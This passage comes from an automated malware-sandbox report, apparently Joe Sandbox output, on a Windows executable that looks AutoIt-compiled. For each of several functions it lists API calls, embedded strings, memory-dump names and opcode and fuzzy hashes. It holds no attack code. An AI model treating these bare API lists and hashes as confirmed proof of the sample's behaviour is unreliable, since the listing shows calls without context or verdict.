                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                                                                                                  • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CursorLoad
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3238433803-0
                                                                                                                                                  • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                  • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                                                                                                  • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                  • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                                                                                                  Function 00460ABB Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                                                                                                  • _wcslen.LIBCMT ref: 00460B00
                                                                                                                                                  • __swprintf.LIBCMT ref: 00460B9E
                                                                                                                                                  • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                                                                                                  • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                                                                                                  • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                                                                                                  • GetParent.USER32(?), ref: 00460D40
                                                                                                                                                  • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                                                                                                  • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                                                                                                  • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                                                                                                  • String ID: %s%u
                                                                                                                                                  • API String ID: 1899580136-679674701
                                                                                                                                                  • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                  • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                                                                                                  • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                  • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                                                                                                  Function 0047D5F6 Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 210COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                  • StringFromIID.OLE32(?,?), ref: 0047D7F0
                                                                                                                                                  • CoTaskMemFree.OLE32(?), ref: 0047D80A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: FreeFromStringTask_wcslen$_wcscpy
                                                                                                                                                  • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                                                                                                                                                  • API String ID: 2485709727-934586222
                                                                                                                                                  • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                  • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                                                                                                                                                  • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                  • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                                                                                                                                                  Function 0045DB3E Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 181COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 3381189665-2761332787
                                                                                                                                                  • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                  • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                                                                                                                                                  • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                  • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                                                                                                                                                  Function 00434506 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetDC.USER32(00000000), ref: 00434585
                                                                                                                                                  • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                                                                                                                                                  • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                                                                                                                                                  • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                                                                                                  • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                                                                                                  • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                                                                                                                                  • String ID: (
                                                                                                                                                  • API String ID: 3300687185-3887548279
                                                                                                                                                  • Opcode ID: a49f41e91dac5baa2c50b775dc8de30f0d01d64d4146e99f951c4697ae3d27a6
                                                                                                                                                  • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                                                                                                  • Opcode Fuzzy Hash: a49f41e91dac5baa2c50b775dc8de30f0d01d64d4146e99f951c4697ae3d27a6
                                                                                                                                                  • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                                                                                                  Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                                                                                                  • __swprintf.LIBCMT ref: 0045E4D9
                                                                                                                                                  • _printf.LIBCMT ref: 0045E595
                                                                                                                                                  • _printf.LIBCMT ref: 0045E5B7
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                  • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                                                                                                  • API String ID: 3590180749-2894483878
                                                                                                                                                  • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                  • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                                                                                                                                                  • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                  • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                                                                                                                                                  Function 0045D971 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 140COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                    • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                  • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                                                                                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                                                                                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                                                                                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                                                                                                  • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                  • API String ID: 4013263488-4113822522
                                                                                                                                                  • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                  • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                                                                                                                                                  • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                  • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                                                                                                                                                  Function 00435A35 Relevance: 21.1, APIs: 14, Instructions: 136timeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 228034949-0
                                                                                                                                                  • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                  • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                                                                                                  • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                  • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                                                                                                  Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CopyVariant$ErrorLast
                                                                                                                                                  • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                                                                                  • API String ID: 2286883814-4206948668
                                                                                                                                                  • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                  • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                                                                                                  • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                  • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                                                                                                  Function 00475D8B Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 194COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                    • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                  • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                                                                                                  • _wcscpy.LIBCMT ref: 00475F18
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                                                                                                  • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                                                                                                  • API String ID: 3052893215-4176887700
                                                                                                                                                  • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                  • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                                                                                                                                                  • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                  • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                                                                                                  Function 004582BF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165registryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                                                                                                  • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                                                                                                  • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                                                                                                                                                  • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                                                                                                  • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                                                                                                    • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                                                                                                                                                  • String ID: Version$\TypeLib$interface\
                                                                                                                                                  • API String ID: 656856066-939221531
                                                                                                                                                  • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                  • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                                                                                                                                                  • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                  • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                                                                                                  Function 0046F50B Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 157windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                    • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                    • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                    • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                  • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                                                                                                  • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                                                                                                                                                  • ImageList_EndDrag.COMCTL32 ref: 0046F583
                                                                                                                                                  • ReleaseCapture.USER32 ref: 0046F589
                                                                                                                                                  • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                                                                                                  • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                                                                                                                                  • String ID: @GUI_DRAGFILE$@GUI_DROPID$@U=u$HH
                                                                                                                                                  • API String ID: 2483343779-3558643840
                                                                                                                                                  • Opcode ID: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                                                                                                  • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                                                                                                                                                  • Opcode Fuzzy Hash: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                                                                                                  • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                                                                                                  Function 0045E62E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 155COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                                                                                                  • __swprintf.LIBCMT ref: 0045E6EE
                                                                                                                                                  • _printf.LIBCMT ref: 0045E7A9
                                                                                                                                                  • _printf.LIBCMT ref: 0045E7D2
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
